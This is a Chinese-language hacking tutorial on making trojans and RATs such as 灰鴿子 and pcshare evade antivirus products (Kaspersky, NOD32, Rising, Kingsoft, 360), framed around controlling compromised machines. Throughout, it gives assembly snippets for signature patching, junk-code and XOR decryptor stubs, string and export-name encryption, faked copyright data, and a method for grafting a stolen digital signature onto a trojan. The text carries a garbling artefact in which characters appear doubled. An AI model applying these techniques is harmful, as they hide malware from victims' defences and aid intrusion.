|
學(xué)習(xí)免殺,首先你得學(xué)會(huì)匯編把,基礎(chǔ)的指令要懂得一些,一般的指令修改必須會(huì),一般的修改這里就不贅述了,接下來就是掌握一些常用的免殺技巧,這里總結(jié)一些 第一:我們學(xué)習(xí)免殺的方向:只是為了保護(hù)自己的黑軟的話!就不會(huì)學(xué)的那么累(沒必去學(xué)匯編編程)有時(shí)候簡(jiǎn)單加下殼或者脫下殼就OK!如果是要挑戰(zhàn)世界的殺毒軟件的話,畢竟每個(gè)PC用戶安裝的殺軟都不一樣!想抓雞拿服務(wù)器的朋友就要進(jìn)修脫殼破解,高級(jí)匯編的內(nèi)容了,這將決定你免殺技術(shù)的高低! 第二:免殺的環(huán)境:做免殺,逃不了測(cè)試這個(gè)木馬是不是修改成功!所以為了保護(hù)自己的系統(tǒng),我建議學(xué)免殺要先學(xué)會(huì)使用虛擬機(jī),很多人會(huì)說,為什么不用影子?影子系統(tǒng)雖然也是可以保護(hù)的,暫用資源又少,但是有些反彈型木馬,我們運(yùn)行后如果失?。词钩晒Γ┒夹枰貑硗瓿赏耆宄墓ぷ?!做過QQ盜號(hào)木馬跟黑鷹遠(yuǎn)控軟件免殺的朋友應(yīng)該深有體會(huì)! 第三:殺軟的安裝設(shè)置:個(gè)人建議安裝卡巴,NOD32,小紅傘,瑞星,金山?。ó?dāng)然配置好的電腦可以再加上江民,麥咖啡)!硬盤大的朋友建議全利用虛擬機(jī)安裝殺軟(方便以后重做系統(tǒng),節(jié)省升級(jí)病毒庫的時(shí)間)殺軟的設(shè)置,可以說是很簡(jiǎn)單的!每安裝完一個(gè)殺軟,我們都要先在殺軟設(shè)置里把監(jiān)控跟自我保護(hù)的選項(xiàng)的鉤去掉!然后升級(jí)病毒庫!升級(jí)完后再關(guān)閉服務(wù)跟啟動(dòng)項(xiàng)(利用360安全衛(wèi)士)這樣安裝其他的殺軟就不會(huì)起沖突了!這里注意下!瑞星升級(jí)后會(huì)自己更改自己的服務(wù)為自動(dòng),所以瑞星建議最后裝,最后升級(jí),再關(guān)閉它的服務(wù)!這里我想大家肯定是關(guān)心殺軟的序列號(hào)從哪來的吧!瑞星有體驗(yàn)版,金山有37天試用版,NOD32利用PPLOVE網(wǎng)絡(luò)電視有180天試用!卡巴等洋貨在百度上搜索均有可用的序列號(hào)!這個(gè)就是考驗(yàn)大家的細(xì)心了!呵呵!卡巴不建議裝6.0.7.0的,人家都在央視打廣告了,我們就裝2009把?。m然卡巴的啟發(fā)比不上NOD32的,但是它的主動(dòng)可是免殺愛好者的“粉絲”) 殺軟的查殺特點(diǎn): 卡巴:主動(dòng)+高啟發(fā)掃描~~,效果相當(dāng)厲害,卡巴的主動(dòng)非常麻煩,SSDT也被封了,啟發(fā)式也極難通過,還是要取決于木馬本身的實(shí)力了, 瑞星:國(guó)內(nèi)木馬的超級(jí)對(duì)手可以這么說!對(duì)國(guó)內(nèi)的木馬定位的特征是洋貨的N倍(鴿子見證)主要查殺技術(shù)是內(nèi)存查殺技術(shù),但是對(duì)一些生僻的木馬,內(nèi)存病毒庫里竟然沒有,只要過了表面就可以過內(nèi)存......主動(dòng)主殺敏感字符串,不過2009的主動(dòng)貌似改進(jìn)了不少......廣告賣的倒不錯(cuò),但是只是針對(duì)流行木馬!其他不常見木馬并沒有加大什么強(qiáng)度! NOD32:?jiǎn)l(fā)掃描的頭領(lǐng)!主殺輸入表函數(shù),針對(duì)MYCCL定位器做過調(diào)整!定位建議用 multiCCL這個(gè)來定位!不過這個(gè)大塊頭對(duì)生僻殼的偵殼能力不強(qiáng)!加些生僻殼把一些函數(shù)保護(hù)起來可以讓它無用武之地?。ㄟ@類殼主要是加密型,不建議用壓縮型) 金山:數(shù)據(jù)流查殺技術(shù)的代表!簡(jiǎn)單來說跟瑞星內(nèi)存查殺技術(shù)有點(diǎn)一樣!病毒庫升級(jí),查殺病毒速度都是超級(jí)快!但是殺毒能力比較上面的幾款有點(diǎn)遜色! 360與金山清理專家:行為查殺的代表,金山清理專家比360查殺力度還大!但是監(jiān)控能力......實(shí)在不想說!不過360的5.0版加了木馬云查殺,據(jù)說不是很好過(沒試過~~~) 以上可以說是所有集合殺軟的特點(diǎn):文件查殺,內(nèi)存查殺,啟發(fā)查殺,數(shù)據(jù)流查殺!行為查殺!主動(dòng)防御!每個(gè)殺軟都有自己的特點(diǎn),一個(gè)人也不可能把全球殺軟都安裝起來研究,但是以上4個(gè)殺軟跟一個(gè)輔助可以說全包括了病毒查殺特點(diǎn)!也不能說哪個(gè)不好,哪個(gè)很好!有些木馬這個(gè)殺軟殺不出來~~那個(gè)就可以殺出來!所以對(duì)于現(xiàn)在網(wǎng)上有些朋友對(duì)個(gè)別殺毒軟件不重視,就會(huì)導(dǎo)致你所謂的“肉雞”插翅難飛!嘻嘻! 接下來就說說技巧方面的 比如你定位一個(gè)特征碼定位到了一個(gè)字符串上我們比如這個(gè)特征碼定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,遇到這個(gè)我想大家一定是修改大小寫吧,但是有時(shí)候修改大小寫還是被殺。 這個(gè)我們可以怎么辦呢,我們可以移動(dòng)位置,因?yàn)檫@個(gè)肯定是一個(gè)api函數(shù)的參數(shù),我們找到那個(gè)函數(shù)然后修改下調(diào)用地址就行了。 所以有時(shí)候大家不能總用通用方法,要學(xué)會(huì)變通。 2.NOD32的疑問,前天有人來問我他說它定位NOD32,定位到了資源上,這個(gè)有一個(gè)可能是你的定位有錯(cuò)誤。這個(gè)你可以通過multiccl把資源和輸入表段保護(hù)起來,然后定位,看可以定位出其他的特征碼不能,至于MYCCL,一般的定位最好在代碼段開始定位,填充可以選擇FF,66什么的,或者反向定位,定位的方法很多的,別人填充00,你就填充00么,現(xiàn)在的殺軟已經(jīng)把myccl扒的一干二凈了,有反定位措施... 3.花指令 花指令無非是一些干擾程序調(diào)試的一些手段,當(dāng)然也可以作為用來迷惑殺毒軟件使殺毒軟件找不到我們的特征碼,從而達(dá)到免殺。 為什么大家總是喜歡用網(wǎng)上的一些什么花指令方法。其實(shí)我發(fā)現(xiàn)其實(shí)多調(diào)用一些子程序,多加一些跳轉(zhuǎn),要比你們寫花指令要好的多。不過本人不推薦使用花指令免殺. 4.為什我服務(wù)端做了免殺,可是生成出來被殺。 這個(gè)大家首先可以對(duì)比一下有什么不同的地方,這個(gè)我給大家一個(gè)思路,現(xiàn)在殺毒軟件就喜歡定位有標(biāo)志型意義的地方(通俗點(diǎn)講版權(quán)信息),大家在做的時(shí)候因?yàn)闉榱吮Wo(hù)我們的木馬,所以就委屈下原作者,呵呵。版權(quán)信息給改了。 還有一個(gè)就是比如說灰鴿子,現(xiàn)在殺軟會(huì)定位到它的一些dll文件名上,你修改完dll然后找到調(diào)用dll文件的函數(shù),然后修改下參數(shù)即可。。。。 高強(qiáng)度花指令--SEH SEH是WINDOWS系統(tǒng)中處理計(jì)算機(jī)異常行為的一種方式,這種方式的特點(diǎn)就是用入棧的方式把斷點(diǎn)保存起來,所以他的效率很高,往往能夠處理很多的異常狀態(tài)。在免殺中我們可以通過它給木馬加花,讓他“錯(cuò)誤”地跳到入口點(diǎn)。 奉上匯編代碼如下: push 原入口點(diǎn) -OEP mov eax,dword ptr fs:[0] push eax mov dword ptr fs:[0],esp mov ebx,0 div ebx 復(fù)制代碼 這樣混淆的強(qiáng)度就很大了,其實(shí)還有很多這樣的方法,自己漫漫研究把。。 轉(zhuǎn)載小魚和Medusa的免殺技巧 1. 遇到特征碼定位在jmp指令上面的 構(gòu)造替換 push xxxxx ret。 舉例: jmp xxxxx 構(gòu)造替換 push xxxxx ret 2. 遇到特征碼定位在call指令上的。 舉例: call xxxxx 構(gòu)造替換: push @f jmp xxxxx @@: ;@@的標(biāo)號(hào)表示的是你jmp xxxx指令后面的內(nèi)存地址。 @f也就是引用@@ 的標(biāo)號(hào),所以此時(shí)@f這里填寫的就是jmp xxxxx指令后面的內(nèi)存地址。。 3. 遇到特征碼定位在ret上 舉例: ret 構(gòu)造替換: jmp dword ptr [esp] 4. 遇到特征碼定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx 舉例: test eax, eax je xxxxxx 構(gòu)造替換: xchg eax, ecx jecxz xxxxx 5. 遇到特征碼定位在 push [xxxxxx]上的。 舉例:push [xxxxx] 構(gòu)造: 在其之前通過 xchg [xxxxxx], ebx 然后用寄存器傳參: push ebx 最后在下面在通過xchg [xxxxxx], ebx 交換回來。 6. 數(shù)據(jù)段動(dòng)態(tài)恢復(fù)和巧用算法加密結(jié)合起來。 前提是對(duì)匯編大家一定要有所了解,例如一些人說金山殺的是配置信息上,你完全可以將其這些配置信息所處的地址的數(shù)據(jù)進(jìn)行一層加密?;蛘吣憧梢詫⑵溥@些偏移所處的數(shù)據(jù) 通過xchg 交換。 dll注意下 要進(jìn)行重定位 call $+5 ;機(jī)器碼是 E8 00000000 00000000是相對(duì)地址 @@: pop ebx sub ebx, @b 下面你就可以通過[ebx+你的偏移]來進(jìn)行變址尋址了。。 test eax,eax je xxxxxx 將test eax,eax nop掉,改je為jb 或?qū)删鋘op掉 test eax,eax jnz xxxxxx 將兩句nop掉 mov ebx,xxxxxx mov ebp,eax 雙mov可以上下調(diào)換 add edx, dword ptr [ebp+6E] imul esi, dword ptr [edi+ebx*2+44], 614D6C6C imul ebp, dword ptr [esi], 0 00 00 00 00 00 00 考慮下移 and eax,80000007 改為: or eax,7FFFFFF9 用C32asm改,80000007為-80000007,C32asm會(huì)自動(dòng)變?yōu)?0000007的負(fù)數(shù)7FFFFFF9 je 等于則跳 改成 jle 也是等于則跳 這是瑞星的新把戲 00436008 09C0 xor EAX,EAX 改為 00436008 09C0 OR EAX,EAX 004A19BD 6A 00 PUSH 0 改為 004A19BD 6A 01 PUSH 1 0049D775 /77 07 JA SHORT 021.0049D77E 改為 0049D775 /7F 07 JG SHORT 021.0049D77E 特征碼定位出來用OD載入?yún)s顯示無此地址的解決方法 dll: 也許你經(jīng)常遇到特征碼定位出來用OD載入?yún)s顯示無此地址. 我們用灰鴿子VIP2006的GETKEY.DLL做演示. 假若特征碼為 [特征] 000009DA_00000002 004015DA (OC導(dǎo)出的內(nèi)存地址) 使用OC導(dǎo)出的地址到OD中卻不能使用.這時(shí)用lordpe打開GETKEY.dll 00013000 00400000 上下相加得00413000 OD載入入口為00883000 > 55 PUSH EBP 把40換成87就是真正的特征碼.008715DA Dll實(shí)例(黑洞1.97 瑞星dll特征): OK=1 CharactorTotal=3 Codz1=H_0000354C_0092414C Codz2=H_0001A4B4_0093B0B4 Codz3=H_0003C958_0095D558 先用lord_PE打開,再用OD打開 文件入口:00042948 > -------> 00442948 鏡像:00400000 >----------->相減 00520000 內(nèi)存入口 00962948 零區(qū)無法定位可執(zhí)行文件數(shù)據(jù)的問題 1.c32asm來解決,靜態(tài)反匯編改特征 2.加一0區(qū)段,跨區(qū)段jmp跳,然后再新區(qū)段保存"所有修改",再回到原特征碼處jmp,保存 免殺關(guān)鍵是技巧,關(guān)鍵你對(duì)這些匯編指令掌握的程度,以及你對(duì)匯編程序的熟練度。。 接下來再說一下NOD32的高啟 《一個(gè)釘子和一個(gè)國(guó)家滅亡的故事》大家都知道 如果有那一個(gè)釘子,不丟那個(gè)馬掌,不折那匹戰(zhàn)馬,不傷那位將軍………… 有太多不確定了,只要我們破壞了其中任何一個(gè)環(huán)節(jié)啟發(fā)殺毒就會(huì)全線潰敗。 NOD32通過PE結(jié)構(gòu)尋找特征代碼 以導(dǎo)入表函數(shù)的修改為例 (這個(gè)簡(jiǎn)單,其實(shí)還有更復(fù)雜的上次那個(gè)木馬就是12處關(guān)聯(lián),但是12處關(guān)聯(lián)破壞一個(gè)就免殺了) 首先他會(huì)從PE MZ那里開始計(jì)算PE HARD的位置 在從PE HARD處尋找數(shù)據(jù)段 計(jì)算數(shù)據(jù)段位置尋找指針的提示位置,然后通過指針的提示位置找到指針,通過指針找到導(dǎo)入表函數(shù)。 啟發(fā)殺毒理解比較困難但是修改還是很簡(jiǎn)單的,可以說比普通的特征碼更容易。我們只要破壞他以上分析的任何一個(gè)環(huán)節(jié)他就會(huì)全線潰敗。 以前的pcshare有一個(gè)超簡(jiǎn)單過NOD32的方法,那就是將子系統(tǒng)設(shè)置為未知,就直接過NOD32的高啟發(fā),因?yàn)镹OD32默認(rèn)的對(duì)未知PE文件不予檢測(cè)報(bào)毒,而恰巧,我們的pcshare通過這樣更改之后仍然可以運(yùn)行,達(dá)到了免殺目的,就是這么簡(jiǎn)單 其實(shí)卡巴為我們提供了更多修改的機(jī)會(huì) 因?yàn)樗奶卣魇顷P(guān)聯(lián)的,只要破壞他的關(guān)聯(lián)就行了 就好像 1+2+3+4+5+6+7+8+9=45一樣 特征碼是45.當(dāng)然會(huì)有很多選擇我們可以改"1"也可以改“2”還可以改“3”…… 改掉一個(gè)他下面的關(guān)聯(lián)就被破壞了,也就免殺了, 解決NOD32最簡(jiǎn)單的兩個(gè)方法 1.把文件子系統(tǒng)設(shè)未未知 2.修改OriginalFirstThunk 日期時(shí)間標(biāo)志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者別的,就這樣就可以過了輸入表查殺雖然之后lordpe提示“錯(cuò)誤的指針”,但是功能,上線都是沒有損壞的 至于原理,我上面說的很清楚了,呵呵 接下來說下基因啟發(fā) 因啟發(fā)是通過比對(duì)文件當(dāng)中的關(guān)鍵代碼,來查殺新病毒以及變種,這種方式在現(xiàn)階段的優(yōu)勢(shì)比較明顯,查殺率高,占用內(nèi)存少,但從缺點(diǎn)來看,這種啟發(fā)技術(shù)在現(xiàn)階段已經(jīng)暴露出來了一個(gè)很嚴(yán)重的問題就是誤報(bào)過于嚴(yán)重,在國(guó)外的誤報(bào)測(cè)試當(dāng)中,使用這項(xiàng)技術(shù)的殺軟普遍誤報(bào)十分厲害,像蜘蛛,紅傘,飛塔等等。而從長(zhǎng)遠(yuǎn)來看,這種技術(shù)隨著時(shí)間的增長(zhǎng),病毒的種類越來越多,必定造成基因庫的臃腫,隨之造成的結(jié)果就是殺軟的運(yùn)行效率降低,占用資源量的提升,甚至出現(xiàn)不同基因代碼間的沖突,所以這項(xiàng)技術(shù)雖然在現(xiàn)階段被看好,而且在技術(shù)上也沒什么難度。 這個(gè)是基因啟發(fā)啟發(fā)的定義,但是NOD32這么多特征完全來自廣譜查殺jack的文章曾說過: 引用:例如,如果一段程序以如下序列開始:MOV AH ,5/INT,13h,即調(diào)用格式化盤操作的BIOS指令功能, 那么這段程序就高度可疑值得引起警覺,尤其是假如這段指令之前不存在取得命令行關(guān)于執(zhí)行的參數(shù)選項(xiàng),又沒有要求 用戶交互性輸入繼續(xù)進(jìn)行的操作指令時(shí),就可以有把握地認(rèn)為這是一個(gè)病毒或惡意破壞的程序。 例子:一個(gè)免殺卡巴的木馬加一個(gè)被殺的花卡巴會(huì)提示type win32病毒 和感染pe的病毒一樣 卡巴會(huì)確定他的入口點(diǎn),一般程序的入口點(diǎn)一般不會(huì)在程序的最后一個(gè)PE節(jié)里。如果OEP在最后一個(gè)PE節(jié)里就值得卡巴懷疑。所以有的“牛人”在2007年初提出了OEP虛擬化…………但是我不懂編程但是我們可以修改PE結(jié)構(gòu)讓入口不在最后一個(gè)PE節(jié)里,比如在木馬修改(非PE感染形)用跳轉(zhuǎn)法移動(dòng)頭部某些代碼,在頭部空出廣大區(qū)域加花?;蛘呒油昊ǎǜ腥疽院螅┰诩右粋€(gè)空文件節(jié)。(這個(gè)適用與病毒編程) 寫著寫著就有點(diǎn)跑題…………………… 對(duì)于NOD32 pcshare特征碼超多的問題 解釋很簡(jiǎn)單 pcshare是一個(gè)典型的4代木馬(也有人稱為3代,看分代標(biāo)準(zhǔn)) 很多代碼很典型,適用于殺軟研究廣譜查殺。NOD32的啟發(fā)更偏向于基因啟發(fā),但他沒有獨(dú)立的基因庫,用病毒庫代替了基因庫,通過在病毒庫里比對(duì)代碼,確認(rèn)病毒,看到我前面對(duì)基因啟發(fā)的介紹,相信對(duì)NOD32病毒庫小不難理解吧,很明顯NOD32的開發(fā)者也意識(shí)到了這點(diǎn),所以NOD32對(duì)啟發(fā)可以報(bào)的病毒是不入庫的。對(duì)于pcshare4處關(guān)鍵作為啟發(fā)殺毒,剩下26個(gè)特征是輔助定位,4處關(guān)鍵修改后少量修改輔助定位就可以了。 關(guān)于OD修改字符串 例如pcshare有一個(gè)定位在“%S%S%S”上的...我們可以首先用C32把“%S%S%S”向前移一位,然后用OD載入,右鍵,超級(jí)字符串參考, 查找ASCII,然后找到所有的“s%s%s”(一般是一個(gè)PUSH或者CALL指令,他調(diào)用的就是這個(gè)字符串的地址),由于我們向前移了一位,所以顯示的應(yīng)該是“s%s%s”,然后雙擊來一個(gè)個(gè)修改...雙擊后會(huì)發(fā)現(xiàn),對(duì)應(yīng)的語句會(huì)有一個(gè)地址,我們把它改掉,向前一位,如4AD05168就改成4AD05167,接著同樣方法繼續(xù)改其它有“s%s%s”的... 這個(gè)方法通用字符串的修改... 另外還有一個(gè)容易忽略的問題,那就是文件版權(quán) 建議大家的木馬都不要使用原來的圖標(biāo)和版權(quán)信息,可以加上微軟,360的版權(quán)信息,有不少殺軟會(huì)針對(duì)版權(quán)信息進(jìn)行查殺(例:小紅傘,遇到過幾次,其余的不清楚) 360、卡巴免殺 怎么過360 卡巴 瑞星 金山 。。。 360其實(shí)很好過 行為查殺 只要把木馬默認(rèn)的文件名 服務(wù)名 (現(xiàn)在應(yīng)該沒人在使用win98了吧 或用注冊(cè)表啟動(dòng)的木馬了吧 如果有那么把注冊(cè)表里的啟動(dòng)鍵值改了)修改掉 就OK了 金山流氓查殺也是一樣的 接著說 瑞星 和 金山 其實(shí) 別看官方吹得很好 其實(shí)很垃圾 主動(dòng)防御如同虛設(shè) 這里據(jù)個(gè)例子 黑洞1.96 吧 因?yàn)榻榻B卡巴的時(shí)候用到它 把服務(wù)端里面的 黑洞 藏鯨閣 等替換掉 (老陳,不是要砸你招牌 而是被逼的) 再把剛才說的 文件名 服務(wù)名 都換成其他的 那主動(dòng)就過去了 其實(shí)NS也行 把SYSNS.DLL 改名 把版權(quán)去掉(老熊莫怪哦)再定位出其他的特征碼 修改掉(表面沒過,以上是廢話) 那么 金山 瑞星 360 就過去了 再說卡巴 卡巴2009的主動(dòng)防御是很強(qiáng)悍的 其實(shí) 驅(qū)動(dòng)過是最完美的 可是我菜 不會(huì)寫驅(qū)動(dòng) 不過 黑洞1.96國(guó)慶版 內(nèi)有驅(qū)動(dòng) 直接修改 因?yàn)檫@個(gè)驅(qū)動(dòng)是為過卡巴而寫 所以 只需要過卡巴就OK了 巧用算法加密特征碼 XOR算法, 相同為0,相異為1 舉個(gè)例子 此時(shí) 0001 xor 1111 = 1110 1110 xor 0001 = 1111 以下是加密代碼 另外還有kipass寫的加密代碼,可以參照 對(duì)于代碼段,為了躲避跟著殺軟跑我們得對(duì)代碼段進(jìn)行全部變形處理...有人問了,怎么變形呢?一般研究溢出,軟件安全的DDMM,GGJJ們都知道在shellcode中有一種比較常見的為了保護(hù)自己的shellcode被直接修改利用用的xor加密...到這你應(yīng)該可以想到了,這就是對(duì)整個(gè)代碼段進(jìn)行xor每個(gè)字節(jié)加密...但這樣一來加密后就不能運(yùn)行的..所以我們得找一段空白處,寫一段我們的解密代碼.并把文件入口點(diǎn)跳到這個(gè)解密代碼上. 就以最近的flash漏洞的shellcode解密頭來講解. shellcode就是這段解密頭的. 這里就是解密頭...里面我已經(jīng)注釋非常清楚了...哈.到這里又有人要問了..怎么加密呀..上面已經(jīng)有算法了..要用上面的話直接用這段代碼直接運(yùn)行一次就是就加密的代碼了..呵呵.. 這樣代碼段就變的面目全非了...完全不一樣了...好下面是數(shù)據(jù)段的修改了 最簡(jiǎn)單的修改把原來的數(shù)據(jù)段里的東西分開處理.比如說資源..把資源全部移位,再修正指向資源的指針..其它以此類推.這完了數(shù)據(jù)段也處理完了..至少在原來的位置上的東東全部也不一樣了... 重定位的段處理和數(shù)據(jù)段一樣.. 區(qū)段免殺技術(shù) 首先添加了一個(gè)空區(qū)段..名為king.. 這是原來的區(qū) 好.看一下這個(gè)區(qū)里的地址先~ 然后開始做了. 再用十六進(jìn)制編輯查看一下區(qū)的大小情況.. A2A00 到 A2BF0 讓整個(gè)區(qū)整體向上偏移幾位.. 由于上面的區(qū)本來就沒有東西.是空的 所以我們也不用改任何東西.. 大家隨機(jī)應(yīng)變吧.. 可以適當(dāng)?shù)脑趨^(qū)里面添加上一些偽指令.. 例如可以加入一些異常指令等等.效果自然會(huì)更好 教程未完..看到原來一圖里面的區(qū)了嗎.. 一般都有PE頭的下面..好看我把他們的區(qū)名全部給改了.. 這樣也會(huì)誤導(dǎo)殺軟一些的難度. 其實(shí)在其它方面.還有一些免殺技術(shù)未被公開 還有一些殺其它部位的特征等等. 我們做免殺.不一定要修改特征碼.. 對(duì)我來說.特征碼已經(jīng)等于是過去了.. 此方法是研究源碼免殺的時(shí)候悟出來了. 數(shù)字簽名過卡巴 現(xiàn)在過卡巴主動(dòng)的基本方法可能就是給木馬程序加上數(shù)字簽名,卡巴對(duì)此視而不見 加數(shù)字簽名很簡(jiǎn)單,用C32打開文件,從PE頭開始的152個(gè)字節(jié)為 XX XX XX XX 這里為數(shù)字簽名的地址(倒序)之后的數(shù)值是其簽名代碼的大小,隨便找一個(gè)帶有數(shù)字簽名的文件,找到他的位置和大小,把代碼全部復(fù)制下來,粘貼到木馬程序中,再更改相關(guān)的代碼即可,以附件為例,數(shù)字簽名的位置為:00 8E 00 00 大?。篊8 24 那么數(shù)字簽名則在8E00處,大小就是24C8,將其全部復(fù)制,再加在木馬程序的最后,然后再修改從PE頭開始的152個(gè)字節(jié)的相關(guān)數(shù)值即可 Pcshare輸出表輸出函數(shù)名加密法 ok,廢話不多說,給大家簡(jiǎn)要說明下。。 首先ollydbg載入PcMain.dll,然后向下找0區(qū)域,然后我們加入我們的加密代碼。 如圖 : 這里我簡(jiǎn)要的說明下代碼。 1. 首先保存我們的寄存器環(huán)境。 通過 pushad popad 然后 我們加入代碼 其實(shí)這里大家可以運(yùn)行一遍,此時(shí)運(yùn)行后我們的ServiceMain已經(jīng)是加密了,然后我們?cè)趯?rdata區(qū)段數(shù)據(jù)保存。然后修改.rdata的區(qū)段屬性為可讀可寫屬性。 修改入口點(diǎn)位我們加入的代碼的偏移,此時(shí)loader加載后就會(huì)進(jìn)行解密。。 這里給出一個(gè)DLL的例子。。 加密后我們的輸出函數(shù)名為此圖。 我來給大家解釋下吧,錯(cuò)與對(duì)還請(qǐng)大家評(píng)論。 嘿嘿! pushad 和popad作用是為了保存當(dāng)前寄存器的狀況。 call $+5 ; 機(jī)器碼為E8 00 00 00 00 看機(jī)器碼,個(gè)人認(rèn)為沒什么意思吧,像個(gè)NOP pop eax 這個(gè)很簡(jiǎn)單,EAX出棧,為什么要出棧,剛才不是全部壓進(jìn)去了嗎? 因?yàn)槲覀兒竺娴囊恍┎僮饕玫剿@個(gè)東東。 xor ax, ax 這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時(shí)候要減去10000。 上面這段話已經(jīng)說明了。我就不多說了。 add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移 (意思就找到輸出函數(shù)名的內(nèi)存地址。下面用到嘛) xchg eax, esi mov edi, esi 很簡(jiǎn)單,不用我多說了吧,不會(huì)的去查匯編指令。 lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家調(diào)試下就知道了。 假如我們加密后的字符串是“A”,那么ESI所指向的內(nèi)存地址就是下一個(gè)字符串的地址了,他是一個(gè)字母一個(gè)字符的取的。 or al, al (這個(gè)是結(jié)合下面的一個(gè)JE的,因?yàn)?。暈了怎么說好呢。大家看一下這個(gè)函數(shù)的最后都是00 00 吧,當(dāng)我們?nèi)⊥曜址?,也就是解密完成后,循環(huán)到這里的時(shí)候,OR就是與運(yùn)算是吧,意思就是是1結(jié)果才是1,那么這是零,后面的跳轉(zhuǎn)就當(dāng)然跳了) je XXXXXXXX xor al, 18h 異或運(yùn)算,重點(diǎn)吧。18是16進(jìn)制,可以隨便改的。 stos byte ptr es:[edi] 這個(gè)stos 和LODS相反,既然它取,那么這個(gè)就是放的。就是說,經(jīng)過上面的xor al, 18h 加密后,再放進(jìn)去,一個(gè)一個(gè)的解密。 jmp short 1.10011B3F 一個(gè)跳,循環(huán)結(jié)構(gòu),但是當(dāng)解密完成的時(shí)候,這個(gè)跳會(huì)被JE跳轉(zhuǎn),程序正常運(yùn)行。 最后POP出棧 恢復(fù)之前的寄存器狀態(tài)。 再最后一個(gè)跳到入口點(diǎn),執(zhí)行程序。簡(jiǎn)單。 數(shù)據(jù)段ASCII字符串內(nèi)存動(dòng)態(tài)恢復(fù) 對(duì)于棘手的ASCII字符串,我們還可以使用數(shù)據(jù)段ASCII字符串內(nèi)存動(dòng)態(tài)恢復(fù)的方法,這里也貼出代碼 動(dòng)態(tài)合并法 雖然說不是加密.但是也是利用了內(nèi)存動(dòng)態(tài)恢復(fù)的原理濫生出來的技術(shù)吧.. . 簡(jiǎn)單說明就是: kernel32.lstrcat這個(gè)函數(shù)可以對(duì)兩個(gè)push進(jìn)行合并. 用法: push 456 push 123 call dword ptr ds:[xxxx]xxxx是輸入表對(duì)kernel32.lstrcat的數(shù) 結(jié)果會(huì)在123的后面多出456 合并成 123456 具體怎么利用不會(huì)說明 簡(jiǎn)單的打比方就是 當(dāng)特征碼為svchost.exe的時(shí)候. (打比方.) 那我們就可以這樣拆分. svch 和 ost.exe那樣殺軟怎么都不會(huì)叫了吧. 然后通過內(nèi)存動(dòng)態(tài)合并. 用法. 00402246 60 pushad 00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame" 0040224C B9 02000000 mov ecx, 1 00402251 8B03 mov eax, dword ptr [ebx] 00402253 35 50403020 xor eax, 11111111 ;異或算法,密匙 00402258 8903 mov dword ptr [ebx], eax 0040225A 83C3 04 add ebx, 4 0040225D ^ E2 F2 loopd short 00402251 popad 復(fù)制代碼 027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130 027F511A |5B pop ebx //自定位完畢 ebx存是就是緊接著loader下的需要解密處的開始內(nèi)存地址..也就是027F5131處的 027F511B |33C9 xor ecx, ecx //清空ecx為下面循環(huán)解密xor的字節(jié)做準(zhǔn)備 027F511D |66:B8 625D mov ax, 5D62 //傳5D62給ax做初始密匙用 027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //對(duì)ebx+ecx*2處進(jìn)行雙字節(jié)解密..以前的都是單字節(jié)解密居多. 027F5125 |41 inc ecx //ecx加1,也就是密匙加1,動(dòng)態(tài)變換密鑰..這就是這個(gè)解密頭的稍微比以前的解密強(qiáng)一點(diǎn)的地方.. 027F5126 |40 inc eax //eax加1 累計(jì)解密多少次了.為下面判斷做準(zhǔn)備 027F5127 |66:81F9 5101 cmp cx, 151 //此處的151比較就是后面加密的代碼的總長(zhǎng)度除二..可以替換成你自己按需要解密的總字節(jié)數(shù)除以二 027F512C |7C F3 jl short 027F5121 //沒有解密完就跳,繼續(xù)解密 027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方開始正式執(zhí)行原程序的代碼了,此處跳轉(zhuǎn)地址改成你加密的地方的開始地址 027F5130 E8 E5FFFFFF call 027F511A //配合027F511A處的pop ebx實(shí)現(xiàn)此代碼的自定位.. 復(fù)制代碼 pushad call $+5 ; 機(jī)器碼為E8 00 00 00 00 pop eax xor ax, ax ;這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時(shí)候要減去10000。 add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移 xchg eax, esi mov edi, esi @@: lodsb or al, al je @f xor al, 18h stosb jmp @b @@: popad jmp 入口點(diǎn) 復(fù)制代碼 100118FE 60 pushad 100118FF 90 nop 10011900 E8 00000000 call 10011905 10011905 58 pop eax 10011906 2D 05190110 sub eax, 10011905 1001190B 05 E0400110 add eax, 100140E0 10011910 C700 53655368 mov dword ptr [eax], 68536553 10011916 61 popad 10011917 ^ E9 C7FBFFFF jmp 100114E3 復(fù)制代碼 pushxxxxx //ost.exe的地址,o的地址.因?yàn)樗_頭嘛 pushxxxxx //接下來的當(dāng)然是剩下的svch的地址了. call dword ptr ds:[<kernel32.lstrcat>] //這個(gè)kernel32.lstrcat的地址需要自己手動(dòng)在IAT查找.
|
|
|